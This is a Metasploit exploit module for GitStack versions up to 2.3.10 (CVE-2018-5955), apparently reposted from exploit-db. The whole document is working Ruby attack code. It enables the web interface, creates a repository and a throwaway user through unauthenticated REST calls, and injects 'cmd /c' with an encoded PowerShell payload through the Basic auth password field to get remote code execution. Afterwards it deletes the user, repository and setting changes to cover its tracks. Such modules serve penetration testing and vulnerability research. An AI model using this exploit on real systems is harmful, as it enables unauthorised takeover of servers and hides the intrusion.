GitStack – Unsanitized Argument Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-03-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44356/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Powershell
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'GitStack Unsanitized Argument RCE',
    'Description'=> %q{
    This module exploits a remote code execution vulnerability that
    exists in GitStack through v2.3.10, caused by an unsanitized argument
    being passed to an exec function call. This module has been tested
    on GitStack v2.3.10.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Kacper Szurek',# Vulnerability discovery and PoC
    'Jacob Robles'# Metasploit module
    ],
    'References' =>
    [
    ['CVE', '2018-5955'],
    ['EDB', '43777'],
    ['EDB', '44044'],
    ['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
    ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'thread'
    },
    'Platform' => 'win',
    'Targets'=> [['Automatic', {}]],
    'Privileged' => true,
    'DisclosureDate' => 'Jan 15 2018',
    'DefaultTarget'=> 0))
    end
    
    def check_web
    begin
    res = send_request_cgi({
    'uri' =>'/rest/settings/general/webinterface/',
    'method'=> 'GET'
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    
    if res && res.code == 200
    if res.body =~ /true/
    vprint_good('Web interface is enabled')
    return true
    else
    vprint_error('Web interface is disabled')
    return false
    end
    else
    print_error('Unable to determine status of web interface')
    return nil
    end
    end
    
    def check_repos
    begin
    res = send_request_cgi({
    'uri' =>'/rest/repository/',
    'method'=>'GET',
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
    begin
    mylist = res.get_json_document
    rescue JSON::ParserError => e
    print_error("Failed: #{e.class} - #{e.message}")
    return nil
    end
    
    if mylist.length == 0
    vprint_error('No repositories found')
    return false
    else
    vprint_good('Repositories found')
    return mylist
    end
    else
    print_error('Unable to determine available repositories')
    return nil
    end
    end
    
    def update_web(web)
    data = {'enabled' => web}
    begin
    res = send_request_cgi({
    'uri' =>'/rest/settings/general/webinterface/',
    'method'=>'PUT',
    'data'=>data.to_json
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
    vprint_good("#{res.body}")
    end
    end
    
    def create_repo
    repo = Rex::Text.rand_text_alpha(5)
    c_token = Rex::Text.rand_text_alpha(5)
    begin
    res = send_request_cgi({
    'uri' =>'/rest/repository/',
    'method'=>'POST',
    'cookie'=>"csrftoken=#{c_token}",
    'vars_post' =>{
    'name'=>repo,
    'csrfmiddlewaretoken' =>c_token
    }
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
    vprint_good("#{res.body}")
    return repo
    else
    print_status('Unable to create repository')
    return nil
    end
    end
    
    def delete_repo(repo)
    begin
    res = send_request_cgi({
    'uri' =>"/rest/repository/#{repo}/",
    'method'=>'DELETE'
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    
    if res && res.code == 200
    vprint_good("#{res.body}")
    else
    print_status('Failed to delete repository')
    end
    end
    
    def create_user
    user = Rex::Text.rand_text_alpha(5)
    pass = user
    begin
    res = send_request_cgi({
    'uri' => '/rest/user/',
    'method'=>'POST',
    'vars_post' =>{
    'username'=>user,
    'password'=>pass
    }
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
    vprint_good("Created user: #{user}")
    return user
    else
    print_error("Failed to create user")
    return nil
    end
    end
    
    def delete_user(user)
    begin
    res = send_request_cgi({
    'uri' =>"/rest/user/#{user}/",
    'method'=>'DELETE'
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
    vprint_good("#{res.body}")
    else
    print_status('Delete user unsuccessful')
    end
    end
    
    def mod_user(repo, user, method)
    begin
    res = send_request_cgi({
    'uri' =>"/rest/repository/#{repo}/user/#{user}/",
    'method'=>method
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
    vprint_good("#{res.body}")
    else
    print_status('Unable to add/remove user from repo')
    end
    end
    
    def repo_users(repo)
    begin
    res = send_request_cgi({
    'uri' =>"/rest/repository/#{repo}/user/",
    'method'=>'GET'
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
    begin
    users = res.get_json_document
    users -= ['everyone']
    rescue JSON::ParserError => e
    print_error("Failed: #{e.class} - #{e.message}")
    users = nil
    end
    else
    return nil
    end
    return users
    end
    
    def run_exploit(repo, user, cmd)
    begin
    res = send_request_cgi({
    'uri' =>'/web/index.php',
    'method'=>'GET',
    'authorization' =>basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
    'vars_get'=>{
    'p' =>"#{repo}.git",
    'a' =>'summary'
    }
    })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
    print_error("Failed: #{e.class} - #{e.message}")
    end
    end
    
    def exploit
    command = cmd_psh_payload(
    payload.encoded,
    payload_instance.arch.first,
    { :remove_comspec => true, :encode_final_payload => true }
    )
    fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110
    
    web = check_web
    repos = check_repos
    
    if web.nil? || repos.nil?
    return
    end
    
    unless web
    update_web(!web)
    # Wait for interface
    sleep 8
    end
    
    if repos
    pwn_repo = repos[0]['name']
    else
    pwn_repo = create_repo
    end
    
    r_users = repo_users(pwn_repo)
    if r_users.present?
    pwn_user = r_users[0]
    run_exploit(pwn_repo, pwn_user, command)
    else
    pwn_user = create_user
    if pwn_user
    mod_user(pwn_repo, pwn_user, 'POST')
    run_exploit(pwn_repo, pwn_user, command)
    mod_user(pwn_repo, pwn_user, 'DELETE')
    delete_user(pwn_user)
    end
    end
    
    unless web
    update_web(web)
    end
    
    unless repos
    delete_repo(pwn_repo)
    end
    end
    end